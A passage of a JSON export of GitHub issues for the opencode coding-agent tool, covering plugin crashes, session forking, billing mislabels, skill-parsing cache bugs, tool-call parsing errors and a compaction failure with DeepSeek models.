        "url": "https://github.com/anomalyco/opencode/issues/42336",
        "createdAt": "2026-08-13T14:23:27Z",
        "updatedAt": "2026-08-13T16:28:10Z",
        "timestamp": "2026-08-13T16:28:10Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "TechyAditya",
        "state": "closed",
        "assignees": [
          "neriousy"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42338",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "tui: slot render returning plain string crashes with \"Orphan text error\"; @opentui/* unimportable in plugins",
        "text": "## Summary TUI crashes with `Orphan text error: \"<string>\" must have a <text> as a parent` when a TUI plugin slot (`sidebar.content`) returns a plain string from `render()`. Plugins are effectively forced to return plain strings because importing `@opentui/*` inside a TUI plugin fails on `next-17403` with `OPENTUI_FORCE_WCWIDTH already registered with different configuration` (host bug). ## Environment - opencode version: 0.0.0-next-17403 (next channel) - OS: Linux 5.15.0-1081-oracle #87~20.04.1-Ubuntu SMP Mon Apr 28 12:53:11 UTC 2025 (aarch64 / arm64) - Terminal: VS Code 1.133.0 (`TERM=xterm-256color`, truecolor) - Shell: /bin/bash - Install/channel: next (via `~/.opencode/bin/opencode2`) - Active plugins: `usage-tracker.js` (server), `usage-tracker-tui.js` (local TUI plugin at `~/.config/opencode/tui/usage-tracker-tui.js`) ## Reproduction 1. Register a TUI plugin claiming the sidebar slot whose `render` returns a plain string: ```js import { Plugin } from \"@opencode-ai/plugin/tui\"; export default Plugin.define({ id: \"plain-string-slot\", setup: (ctx) => { const claim = ctx.ui.slot({ append: \"sidebar.content\", render: () => \"Usage\\nin 545.3k out 125.8k\\nre 129.7k cache 139.8M/0\\nhit 100% cost $0.2697\\ntotal 140.6M steps 68\", }); return () => claim(); }, }); ``` 2. Open the TUI, navigate to a session view with the sidebar rendered. 3. TUI crashes: `Orphan text error: \"Usage\\nin 545.3k ...\" must have a <text> as a parent: box-318 above text-node-554`. ## Expected Behavior Either of: - A plain string returned from a slot `render()` is wrapped in a `<text>` node by the host (so strings are a valid slot payload), **or** - `@opentui/*` is importable from TUI plugin code so plugins can return proper element trees. Neither path should crash the TUI. The crash takes down the whole terminal UI, not just the slot. ## Actual Behavior Full TUI crash with the orphan-text error. Stack trace: ``` Error: Orphan text error: \"Usage in 545.3k out 125.8k re 129.7k cache 139.8M/0 hit 100% cost $0.2697 total 140.6M steps 68\" must have a <text> as a parent: box-318 above text-node-554 at w$ (../../node_modules/.bun/@opentui+solid@0.5.2+b9027845aeff97b0/node_modules/@opentui/solid/index.bun.js:559:17) at N (../../node_modules/.bun/@opentui+solid@0.5.2+b9027845aeff97b0/node_modules/@opentui/solid/index.bun.js:442:7) at P (../../node_modules/.bun/@opentui+solid@0.5.2+b9027845aeff97b0/node_modules/@opentui/solid/index.bun.js:311:13) ... at children (../tui/src/routes/session/sidebar.tsx:66:7) ... at children (../tui/src/routes/session/index.tsx:1143:22) ``` ## Additional Context - The offending plugin was written to return a plain string **only because** importing `@opentui/*` in a TUI plugin dies with `OPENTUI_FORCE_WCWIDTH already registered with different configuration` — so on `next-17403` there is no working way to render styled TUI content from a plugin slot. - Crash is deterministic: every render of the slot once the plugin has data. Sidebar is unrecoverable while the plugin is active. - The session being viewed at crash time had 68 steps; the sidebar showed live usage stats (input/output/reasoning/cache/cost).",
        "url": "https://github.com/anomalyco/opencode/issues/42338",
        "createdAt": "2026-08-13T14:29:15Z",
        "updatedAt": "2026-08-13T14:31:49Z",
        "timestamp": "2026-08-13T14:31:49Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "2.0"
        ],
        "author": "mirtalha1",
        "state": "open",
        "assignees": [
          "kommander"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42341",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Forked parent session opens original child session, so Back returns to original parent",
        "text": "## Summary When a session with a task/subagent child is forked, the forked parent still points at the original child session. Entering that child from the fork and clicking \"back to parent\" returns to the original parent session instead of the forked parent. ## Reproduction 1. Start a parent session `S1`. 2. Have it call the `task` tool / a subagent, producing child session `C`. 3. Fork `S1`, producing `S2`. 4. In `S2`, click/open the task's child session. 5. In the child session, click the UI action to return to the parent/main session. ## Expected behavior The child reached from `S2` should return to `S2`, or the fork should create/repoint a fork-local child session whose `parentID` is `S2`. ## Actual behavior The child returns to `S1`. ## Root cause from code reading The child session's parent link is written only when the task creates the subagent session: - `packages/opencode/src/tool/task.ts`: `sessions.create({ parentID: ctx.sessionID, ... })` So if the task ran in `S1`, child `C` permanently has `parentID = S1`. Session fork then copies only messages/parts into a new root session: - `packages/opencode/src/session/session.ts`: `fork()` creates a new session without a `parentID`, then copies messages and parts. - It does not clone child sessions. - It does not rewrite copied task part metadata such as `metadata.sessionId` to point at a fork-local child. The web UI's parent navigation reads the stored child parent directly: - `packages/app/src/pages/session.tsx`: `openParent` navigates to `info()?.parentID`. - `packages/app/src/pages/session/composer/session-composer-region-controller.ts`: child/back state also comes from `sync().session.get(id)?.parentID`. Because the child reached from the fork is still the original child `C`, `C.parentID` is still `S1`, so Back navigates to `S1`. ## Notes This is related to session hierarchy/forking, but I did not find an existing issue for this exact fork-local child lineage bug. Related but different issues/PRs: - #16639 requests allowing `parentID` when forking sessions. - #15972 / #15993 / #23365 cover TUI nested subagent navigation, not web/app forked-parent child lineage. A UI-only history workaround would make Back appear to work for one navigation path, but the underlying data would still be inconsistent after refresh/deep-link/multiple entry points. The durable fix seems to be in `Session.fork`: clone/re-fork task child sessions reachable from copied task parts and rewrite the copied task part metadata to point at those fork-local children with `parentID = forkedSession.id`.",
        "url": "https://github.com/anomalyco/opencode/issues/42341",
        "createdAt": "2026-08-13T14:47:42Z",
        "updatedAt": "2026-08-13T14:48:48Z",
        "timestamp": "2026-08-13T14:48:48Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "ton618to",
        "state": "open",
        "assignees": [
          "neriousy"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42342",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[Bug] OpenCode Go bills gpt-5.6-terra requests as gpt-5.6-luna (Codex Memories background jobs)",
        "text": "### Description Using the OpenCode Go plan as the provider for OpenAI Codex desktop (`model_provider = \"opencode-go\"`, `base_url = https://opencode.ai/zen/go/v1`, `wire_api = responses`, main model `deepseek-v4-flash`), Codex's built-in **Memories** feature runs background jobs (`memory_stage1`, `memory_consolidate_global`) after each session. Those jobs POST `{\"model\": \"gpt-5.6-terra\", ...}` (`reasoning_effort=medium`) to `/responses` with cwd `~/.codex/memories`. On the OpenCode workspace usage page, these requests are billed/displayed as **`gpt-5.6-luna (go)`** — a model the user never selected and that never appears as a request anywhere in the local Codex logs (zero `gpt-5.6-luna` requests locally). So the gateway is either silently substituting/renaming the model, or the usage page is mislabeling it, and the result is charges the user cannot attribute to anything they did. Examples from today (Asia/Shanghai, all from local `memory_stage1` / `memory_consolidate_global` jobs whose request log shows `model=gpt-5.6-terra`): - 21:17 — `gpt-5.6-luna (go)` $0.0496 (stage-1 summary job) - 22:26 — `gpt-5.6-luna (go)` 612,201 in / 3,956 out, $0.2826 (global memory consolidation) Local Codex request log (`~/.codex/logs_2.sqlite`): `POST to https://opencode.ai/zen/go/v1/responses: {\"model\":\"gpt-5.6-terra\", ...}` ### Plugins None relevant (plain Codex desktop + opencode-go provider). ### OpenCode version Go plan gateway (opencode.ai/zen/go/v1); usage page opencode.ai/workspace/.../usage. ### Steps to reproduce 1. Subscribe to OpenCode Go; configure Codex desktop with `model_provider = \"opencode-go\"` (zen/go/v1, responses API), main model `deepseek-v4-flash`. 2. Keep Codex Memories enabled (`~/.codex/config.toml`: `[memories] generate_memories = true`). 3. Finish a Codex session (triggers `memory_stage1`) and let global consolidation (`memory_consolidate_global`) run. 4. Open the workspace usage page → new records appear under `gpt-5.6-luna (go)`. 5. Check local Codex logs → requests were sent with `model=gpt-5.6-terra`; no `gpt-5.6-luna` request exists locally. ### Screenshot and/or share link Can share usage-page screenshots and log excerpts on request. ### Operating System Windows 11 x64 ### Terminal Codex Desktop (26.803.81509) / Codex CLI 0.147.0-alpha ### Expected behavior - Either `gpt-5.6-terra` is available on the Go plan and is billed/displayed as `gpt-5.6-terra`, or the gateway rejects it (4xx) instead of silently executing and billing a different model (`gpt-5.6-luna`). - The usage page should show the actual requested/billed model so users can trace unexpected charges. - Ideally, server-side enforcement (per-key model allowlist/blocklist) so hardcoded client-side model usage like this can be stopped without changing the client (related to #41697, which covers the disable-toggle gap for `gpt-5.6-luna`; this report adds the distinct **model substitution** behavior and the Codex **Memories** background caller). Happy to provide workspace/session details to maintainers for debugging.",
        "url": "https://github.com/anomalyco/opencode/issues/42342",
        "createdAt": "2026-08-13T14:50:10Z",
        "updatedAt": "2026-08-13T14:51:16Z",
        "timestamp": "2026-08-13T14:51:16Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "liangjie78",
        "state": "open",
        "assignees": [
          "fwang"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42343",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Feedback: Plugin tool missing in GUI desktop session but present in CLI",
        "text": "### Description > 🐛 Found a subtle one while testing an opencode plugin: the tool worked in the CLI but > was **missing from the GUI desktop session** — config said registered, runtime said no. > Root cause turned out to be 3 layers deep (extension-less imports → unbundled workspace > dep → **session tool-list is a create-time snapshot**; only a new session picks it up). > Full walkthrough with repro + fixes 👉 > > — drafted by **DeepSeek V4 Flash** (via opencode), assisting a client's plugin > development. Content de-identified before posting. # Feedback: Plugin tool missing in GUI desktop session but present in CLI > A detailed, agent-driven investigation of a plugin-injection discrepancy between the > opencode CLI and the GUI desktop app. Written both as a **bug report** (actionable for > maintainers) and as a **walkthrough** (showing how the issue was isolated layer by layer). --- ## 1. Summary A custom plugin registers a tool (call it `todo-sync`) by exporting a thin shim under `.opencode/plugins/`. The tool was **available in CLI sessions** (`opencode run`) but **absent from the GUI desktop session** (OpenCode.app) — even though `opencode debug agent` reported the tool as registered. Root causes, in three layers: 1. **Extension-less relative imports** in the plugin source (`./loader` instead of `./loader.ts`): tolerated by bun, **rejected by Node** (the GUI desktop loads plugin `.ts` files directly via Node's type-stripping). 2. **Workspace dependency not bundled** into the plugin artifact: the plugin imported a workspace package (`@scope/core`) at `src/...` paths; the built artifact kept an unresolved `import \"@scope/...\"`, which the GUI runtime could not resolve reliably. 3. **Session-scoped tool list snapshot (suspected GUI behavior/bug)**: the GUI session tool list is captured **when the session is created**. After fixing the plugin, the **pre-existing session** still did not show the tool; only a **new session** did. Fixes: add explicit `.ts` extensions, and build a **self-contained JS dist** with the workspace dependency inlined (`tsdown` `noExternal`). Verified in new CLI and GUI sessions. --- ## 2. Environment | Component | Version / Path | |-----------|----------------| | opencode CLI | 1.18.18 (`opencode`) | | opencode GUI | 1.18.18 — `/Applications/OpenCode.app` (Electron 42.3.3) | | Electron builtin Node | **24.15.0** (via `ELECTRON_RUN_AS_NODE=1`) | | System Node | 24.14.0 | | bun | 1.3.14 | | Bundler | tsdown 0.22.14 | | Plugin shim | `.opencode/plugins/<name>.ts` | | Plugin package | workspace-symlinked into `.opencode/node_modules/@scope/plugin` | | Data store | `~/.local/share/opencode/opencode.db` (SQLite) | --- ## 3. Initial symptoms | Context | Observation | |---------|-------------| | CLI (`opencode run` subprocess) | ✅ `todo-sync` callable, `ok:true`, full payload | | GUI desktop main session | ❌ tool **not in tool list** (only `approve` / `ping` / `guard-ping` present) | | `opencode debug agent <agent>` | ✅ reports `todo-sync: true` at the **config layer** | The gap between \"config layer says registered\" and \"runtime session tool list missing\" was the first strong signal. --- ## 4. Investigation walkthrough (layer by layer) ### 4.1 Baseline (what was verified as healthy) - The project CLI helper version within required range. - Plugin source link: `.opencode/node_modules/@scope/plugin` → symlink → plugin source dir. ✅ - `bun build .opencode/plugins/<name>.ts --bundle` succeeded (no stubbed `node:` modules). ✅ - The other plugin tools (`ping`, `approve`, `guard-ping`) were injected in GUI. ✅ → Conclusion: **CLI chain healthy; the problem was isolated to the GUI environment.** ### 4.2 CLI-side scenario tests (S1–S4) - Basic sync → ✅ ok - State transition (pending → completed) → ✅ - Default taskId (latest task discovery, incl. 3-digit ids) → ✅ - The project CLI's `validate` closed loop (\"todo synced to board\") → ✅ → CLI plugin chain fully healthy; focus shifted to **how the GUI loads plugins**. ### 4.3 GUI loading mechanism - `ps aux` → GUI is Electron 42.3.3. - GUI server log (`~/Library/Application Support/ai.opencode.desktop/logs/*/server.log`) showed `MODULE_TYPELESS_PACKAGE_JSON` warnings **only for some shims** (`guard`, `verify-guard`) — **never for the failing plugin** across multiple restarts. - Extracted the app bundle (`npx @electron/asar extract .../app.asar`) and read the server chunk: plugin loading is `PluginLoader.load` → `await import(row.entry)` — i.e. the GUI **directly imports the `.ts` shim via Node**, with no bundling step. - `ELECTRON_RUN_AS_NODE=1 \"<app>/Contents/MacOS/OpenCode\" -e \"console.log(process.versions)\"` → **Electron builtin Node = 24.15.0**. **Key insight:** CLI (bun) and GUI (Electron Node) differ in `.ts` handling: | Host | Loads `.ts` shim via | Tolerates extension-less relative imports | Resolves `src/...` workspace deps | |------|----------------------|:---:|:---:| | CLI / bun | native import | ✅ | ✅ (bundled) | | GUI / Electron Node | `import(row.entry)` + type-stripping | ❌ | ⚠️ unreliable | ### 4.4 Layer 1 — extension-less relative imports Reproduced with Node type-stripping (simulating the GUI loader): ``` $ node --experimental-strip-types -e \"import('./.opencode/plugins/<name>.ts')\" FAIL: Cannot find module '.../src/todo/loader' imported from .../src/todo/opencode.ts ``` Audit showed the failing module used `\"./loader\"` / `\"./parse\"` / `\"./types\"` (no `.ts`), while sibling plugins (`guard/`, `question-tier/`) used `\"./config.ts\"` (with `.ts`) and loaded fine. **Fix 1:** add explicit `.ts` extensions (3 files, 6 lines). Node direct-import passed; CLI did not regress (tests green, `bun build` exit 0). → GUI still missing the tool after restart → moved to the next layer. ### 4.5 Layer 2 — workspace dependency not bundled The plugin imported `@scope/core/src/...` (framework-keywords, trace-light). The plugin package had **no build step** — its `exports` pointed at `src/*.ts`, so the runtime resolved the workspace chain directly. **Fix 2:** add a `tsdown.config.ts` with: - 4 entry points (one per plugin submodule); - `noExternal: [/@scope/]` so the workspace dependency is **inlined** into the artifact; - `exports` repointed to `dist/*/index.mjs`. Verification of the self-contained artifact: - `dist/<name>/index.mjs` contains inlined trace-light (3×) + a local chunk for framework-keywords — **no `from \"@scope/...\"` external reference**. - Node 24.14 and Electron Node 24.15 both import the dist and execute → `ok:true`. - Full `applyPlugin` simulation (readV1Plugin detect → getLegacyPlugins → server()) succeeded for **all 5 shims** under Electron Node. → Code layer fully fixed; still not visible in the **pre-existing GUI session** after restart → moved to the session layer. ### 4.6 Layer 3 — session-scoped tool list snapshot Queried the SQLite store (`opencode.db`, `session` table) and compared session creation time vs. the fix time: | Session | Created | `todo-sync` in tool list | |---------|---------|:---:| | \"current conversation\" (created **before** fix) | 21:18 | ❌ | | new session (after fix) | 22:14+ | ✅ | → **The GUI session tool list is captured when the session is created.** Restarting the GUI and *continuing the old session* does not refresh the tool list; a **new session** picks up the fixed plugin. ### 4.7 Final verification A brand-new session (`opencode run`) and a new GUI session both: - list `todo-sync` in the tool list; - call it successfully → `ok:true`, expected count, latest task id; - push todos to the GUI board (task recorded a `todo-sync` trace event). --- ## 5. Root causes & fixes (summary) | # | Root cause | Fix | Verified | |---|-----------|-----|:---:| | 1 | Extension-less relative imports rejected by Node | Explicit `.ts` extensions | ✅ | | 2 | Workspace dep not bundled → unresolved `@scope/...` at runtime | Self-contained dist via `tsdown` `noExternal` | ✅ | | 3 | GUI session tool list is a create-time snapshot | (workaround) open a **new session** after plugin changes | ✅ | --- ## 6. Recommendations ### 6.1 For plugin developers 1. **Always use explicit file extensions** in relative imports (`.ts`). bun tolerates extension-less imports; Node does not. Treat \"Node direct-load\" as the lowest common denominator. 2. **Ship a self-contained dist** for plugins that depend on workspace packages — inline those deps (`noExternal`) so the runtime never has to resolve the workspace chain. 3. **Validate against the GUI loader**, not only bun: simulate with `ELECTRON_RUN_AS_NODE=1 \"<app>/Contents/MacOS/OpenCode\"` + `import()` of the shim. ### 6.2 For opencode maintainers (suspected behavior/bug) - **Session tool list snapshot**: after a plugin (or its deps) changes, a pre-existing session still shows the old tool list — even after the app is restarted and the session is resumed. It would be very helpful if the session tool list were **refreshed on plugin change** (or re-injected on session resume), instead of captured at creation. - Diagnostic hints that helped us: - `opencode debug agent <agent>` shows the config-layer declaration; - GUI `server.log` `MODULE_TYPELESS` warnings reveal which shims Node actually loads; - SQLite `session.time_created` vs. plugin-change time distinguishes \"stale session\" from \"plugin not loaded\". ### 6.3 On agent-driven debugging (why the report is this detailed) This investigation was driven by an AI coding agent (ABC-style workflow, human sets direction + accepts results). Highlights of the approach: - **Layered isolation**: CLI vs GUI, config layer vs runtime, code vs session. - **Environment parity**: obtained the GUI's exact Node via `ELECTRON_RUN_AS_NODE` to reproduce outside the app. - **Source-level ground truth**: extracted the app bundle to confirm the loading path instead of guessing. - **Data-driven session analysis**: used the SQLite store to timestamp sessions and discriminate \"stale snapshot\" from \"load failure\". Human guidance at two key points (check whether the workspace dep is bundled; suspect the session layer) directly hit two of the three root causes — pairing an agent that isolates fast with a human who points at the right layers converged in ~1 hour of wall time. --- ## 7. Reproduction steps (for maintainers) 1. Create a plugin shim in `.opencode/plugins/<name>.ts` whose source uses **extension-less relative imports** and imports a **workspace package** at `src/...` paths. 2. Run in CLI → tool works. 3. Open in the GUI desktop → tool missing from the session tool list; `server.log` shows no load warning for that shim. 4. Fix: add `.ts` extensions + build self-contained dist; restart the app; **continue the old session** → tool still missing; **open a new session** → tool appears and works. ## 8. Expected behavior - Plugin changes should be visible in a resumed session (refresh or re-inject), or at minimum be documented clearly so developers know a new session is required. - Plugins should be loadable with a consistent minimal baseline across CLI (bun) and GUI (Electron Node) runtimes. ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/42343",
        "createdAt": "2026-08-13T15:01:15Z",
        "updatedAt": "2026-08-13T17:19:54Z",
        "timestamp": "2026-08-13T17:19:54Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "zysam",
        "state": "closed",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42349",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Desktop: option to minimize to tray / keep running when window is closed",
        "text": "### Summary On Windows, clicking the window close button (x) quits the OpenCode desktop app entirely. When the last window is closed, `window-all-closed` calls `app.quit()` (see `packages/desktop/src/main/index.ts`). I would like an option so that closing the window minimizes to the system tray / keeps the app running in the background instead of quitting, similar to apps like Slack or Discord. This is useful because ongoing agent runs (long tool calls, background tasks) keep executing, and I don't want to lose them just by clicking the window close button. ### Feature request - Add a setting (e.g. in Settings, or a `close_to_tray` / `minimize_on_close` config) that makes the x button hide the window instead of quitting the app. - Show a tray icon (currently there is no Tray usage in the desktop main process) so the app can be restored from the tray. - On macOS the existing `window-all-closed` behavior (app stays running) could stay as-is; this is mainly for Windows/Linux. ### Additional context - Desktop app version: `ai.opencode.desktop` (Electron-based), package `packages/desktop` - Current behavior source: `packages/desktop/src/main/index.ts` -> `app.on(\"window-all-closed\", () => { if (process.platform === \"darwin\") return; app.quit() })` - No tray or `BrowserWindow.hide()` usage exists today. Thanks for considering!",
        "url": "https://github.com/anomalyco/opencode/issues/42349",
        "createdAt": "2026-08-13T15:53:32Z",
        "updatedAt": "2026-08-13T15:55:04Z",
        "timestamp": "2026-08-13T15:55:04Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "DobeShadow",
        "state": "open",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42350",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Skills silently vanish on re-parse: gray-matter cache is poisoned when strict-YAML frontmatter parse throws",
        "text": "## Summary Project skills (and potentially agents/commands parsed via `ConfigMarkdown.parse`) **silently vanish** whenever the same markdown content is parsed more than once in a single server process **and** its frontmatter is not strict-YAML-valid (e.g. an unquoted `description:` containing `: `). Root cause: **gray-matter 4.0.3 registers its module-level cache entry *before* parsing.** When strict YAML parsing throws, the never-parsed entry (`data: {}`) stays in `matter.cache` keyed by the file content. opencode's `sanitize()` fallback rescues the *first* parse per unique content per process — but every later `matter(content)` call hits the poisoned cache entry, returns `data: {}` without throwing (so the fallback never runs), and `Skill.add()` drops the file silently at the `isSkillFrontmatter` guard. This looks like the actual root cause behind #41751 (\"exactly N skills silently dropped in server mode\") and plausibly #41213. ## Minimal repro (gray-matter level) ```ts import matter from \"gray-matter\" const s = `---\\nname: x\\ndescription: Use this. Trigger keywords: \"e2e\", \"test\"\\n---\\nbody` try { matter(s) } catch (e) { /* YAMLException — opencode falls back to sanitize() here */ } console.log(matter(s).data) // => {} <- poisoned cache: no throw, no data, skill silently dropped ``` `packages/core/src/config/markdown.ts`: ```ts export function parse(content: string) { try { return matter(content) // 1st call: throws AND poisons matter.cache[content] } catch { return matter(sanitize(content)) // rescues the 1st call only } } ``` gray-matter 4.0.3, `index.js`: ```js let file = toFile(input); const cached = matter.cache[file.content]; if (!options) { if (cached) { ...return shallow copy... } matter.cache[file.content] = file; // <- cached BEFORE parseMatter() runs } return parseMatter(file, options); // <- throws on strict-YAML errors, cache entry stays empty ``` ## Server-level repro (v1.18.16, also reproduced on 1.18.18 via `bunx opencode-ai@1.18.18`) 1. A project with skills whose `description:` contains an unquoted `: ` (very common — e.g. `... Trigger keywords: \"foo\", \"bar\"`). 2. `opencode serve --port 4097` (with or without `OPENCODE_EXPERIMENTAL_WORKSPACES`). 3. `curl -H \"x-opencode-directory: <project>\" :4097/skill` → all skills present (first discovery: throw → sanitize fallback works). 4. `curl -X POST -H \"x-opencode-directory: <project>\" :4097/instance/dispose`, then `GET /skill` again → **all affected project skills gone** (count drops from e.g. 66 to 42), reproducible 15/15 times. No error or warning in logs — `init count=…` simply shrinks. Because the cache is keyed by *content*, the poisoning also crosses instances and directories: - **Mirror layouts** (`.claude/skills` / `.agents/skills` symlinked to `.opencode/skills`): the 3 scans see identical content; only the first-parsed path survives — this is also why no `duplicate skill name` warnings appear for project mirrors. - **Sibling forks**: once repo A's `add-e2e-test/SKILL.md` was parsed, repo B's byte-identical copy loads as `data:{}` — opening a second project in the same server silently loses its skills. We measured fresh instances loading 0/12, 3/15, 6/20, 1/13 of their skills depending on how much identical content earlier instances had already parsed (the survivors were exactly the files with unique content). - CLI/TUI single-shot runs are mostly unaffected (one discovery per process), matching the \"works in CLI, breaks in server mode\" observation in #41751. ## Suggested fix Bypass gray-matter's cache in `ConfigMarkdown.parse` — any truthy options object disables it: ```ts export function parse(content: string) { try { return matter(content, {}) // no cache read/write -> no poisoning } catch { return matter(sanitize(content), {}) } } ``` (Or `delete matter.cache[content]` before the fallback.) Skill discovery re-parses at most a few hundred small files per instance creation, so losing the cache is negligible. Additionally, `Skill.add()`'s `isSkillFrontmatter` failure path could log a warning instead of silently returning — that would have made this diagnosable from logs. ## Workaround for affected users Make skill frontmatter strict-YAML valid, e.g. convert unquoted colon-containing descriptions to block scalars (`description: |-`). After that, the first parse never throws, nothing is poisoned, and server-mode discovery is stable across `/instance/dispose` (verified: 8/8 full loads on the same previously-affected server). ## Environment - opencode v1.18.16 (homebrew) and v1.18.18 (`bunx opencode-ai`), macOS arm64, Bun 1.3.14 - gray-matter 4.0.3 (as pinned by `packages/core`)",
        "url": "https://github.com/anomalyco/opencode/issues/42350",
        "createdAt": "2026-08-13T15:53:53Z",
        "updatedAt": "2026-08-13T15:55:18Z",
        "timestamp": "2026-08-13T15:55:18Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "craftsamo",
        "state": "open",
        "assignees": [
          "nexxeln"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42359",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Response text leaks into tool call parameters — malformed API calls with prose as parameter values",
        "text": "### Description When using local models (tested: qwen3.6-27b-mtp), opencode incorrectly parses model response text as tool call parameters. The parser appears to detect a tool name in the output, then captures surrounding prose as parameter values instead of treating it as plain text. Observed behavior: Tool calls appear with libraryId or other parameters containing my actual response prose (e.g., \"Library ID: /function_calls> block.\\n\\n**fixes applied...\"`) Results in invalid API errors like Invalid library ID format or Library not found Happens spontaneously during normal conversation — no user action triggers it Occurs across multiple sessions, started after updating to latest version today Expected behavior: Response text should be displayed as output. Tool calls should only be invoked when the model explicitly emits a tool call structure with valid parameters. Environment Model: qwen3.6-27b-mtp (local, via LM Studio localhost:1234) OS: Windows 11 MCP Servers: context7 (documentation lookup) opencode version: Latest (updated today) Additional Notes This appears to be a stream parsing issue where the boundary between \"text output\" and \"tool call invocation\" is not being correctly identified. The parser may be over-eagerly matching tool names within prose content, then capturing adjacent text as parameters. ### Plugins opencode-working-memory ### OpenCode version _No response_ ### Steps to reproduce Steps to Reproduce Start opencode with a local model (qwen3.6-27b-mtp via LM Studio) Engage in multi-turn conversation involving code analysis or documentation lookup After several exchanges, observe malformed tool calls where parameter values contain the model's prose response text rather than actual parameter data The error appears as Invalid library ID format or similar validation failures on tools like context7_query_docs ### Screenshot and/or share link _No response_ ### Operating System Windows 11 ### Terminal opencode desktop",
        "url": "https://github.com/anomalyco/opencode/issues/42359",
        "createdAt": "2026-08-13T16:38:17Z",
        "updatedAt": "2026-08-13T16:40:32Z",
        "timestamp": "2026-08-13T16:40:32Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "RichardNHarris",
        "state": "open",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42361",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]:me pagaron el open code go y me da error en todos los modelos",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request me d el siguiente eror The latest version of this model is only available hosted in China and requires explicit opt in: https://opencode.ai/workspace/wrk_01KZW3YQT6623SMXV5WG7BXM4X/go ya en la pagina de pago puse que habilitara china como proveeedor ya limpie cache intente poner de nuevo la llave todo por gusto puedieran darme una guia despasito de como solucionar mi problema",
        "url": "https://github.com/anomalyco/opencode/issues/42361",
        "createdAt": "2026-08-13T16:49:07Z",
        "updatedAt": "2026-08-13T16:53:45Z",
        "timestamp": "2026-08-13T16:53:45Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "needs:compliance"
        ],
        "author": "dailoth",
        "state": "open",
        "assignees": [
          "fwang"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42363",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "DeepSeek compaction can get stuck replaying reasoning/tool history instead of producing a summary",
        "text": "### Description Description Automatic compaction can become stuck when using a DeepSeek reasoning model through an OpenAI-compatible provider. I reproduced this twice. Instead of producing a compaction summary, the model starts continuing patterns from the conversation history inside its reasoning, including sequences that look like prior tool calls and tool results. The compaction request never successfully completes, no summary is stored, and the session becomes effectively unusable. Environment * OpenCode: 1.18.15 * Model: DeepSeek V4 Flash * Provider: `@ai-sdk/openai-compatible` * Context limit: 262144 * Output limit: 65536 * macOS Verified: Inspected: * OpenCode's SQLite session database * OpenCode logs * the installed OpenCode binary * the serialized session history * the inference backend logs For one reproduced session, the sequence was: * A normal assistant request completed successfully with `reason=tool-calls` * OpenCode created a compaction marker: `{\"type\":\"compaction\",\"auto\":true,\"overflow\":false}` * An assistant message with `agent=compaction` was started * The compaction request ran for several minutes and was eventually aborted * The compaction assistant message contained a large reasoning part * No completed summary was produced * No normal post-compaction message was created The failure therefore occurs during the compaction request itself, not after a successful compaction. ## Relevant behavior The history rendered into the compaction prompt includes hidden assistant reasoning and tool interaction history, for example: `[Assistant reasoning]: ...` `[Assistant tool call]: ...` `[Tool result]: ...` During the failed compaction, the model began generating similar structures inside its own reasoning instead of producing the requested summary. For example, it repeatedly generated content resembling: `[Assistant tool call]: bash(...)` followed by synthetic-looking tool-result text such as: `The user wants to continue the investigation...` These were not real tool executions. The synthetic text was not present in the stored tool results and was not found as a hardcoded OpenCode template. It was generated by the model while processing the compaction prompt. The same general failure mode occurred in a second independent session. ## Expected behavior The compaction agent should summarize the visible conversation history and return a completed summary. Hidden reasoning from previous assistant turns should not be necessary for summarization, and should not cause the compaction model to continue prior agent/tool behavior. ikely cause The compaction history renderer includes hidden assistant reasoning when constructing the summarization prompt. For reasoning models such as DeepSeek, replaying this hidden reasoning and tool-oriented history appears capable of causing the model to continue the prior reasoning/tool pattern rather than follow the summarization instruction. This is closely related to #31188, although the failure mode is different. In #31188, replayed reasoning causes Anthropic extended-thinking requests to fail because reasoning metadata/signatures are no longer valid. In this case, the request is accepted, but the DeepSeek model begins continuing the injected reasoning/tool history and never produces the compaction summary. Both cases suggest that hidden reasoning should not be included in compaction input. Possible fix A likely fix is to exclude assistant reasoning parts 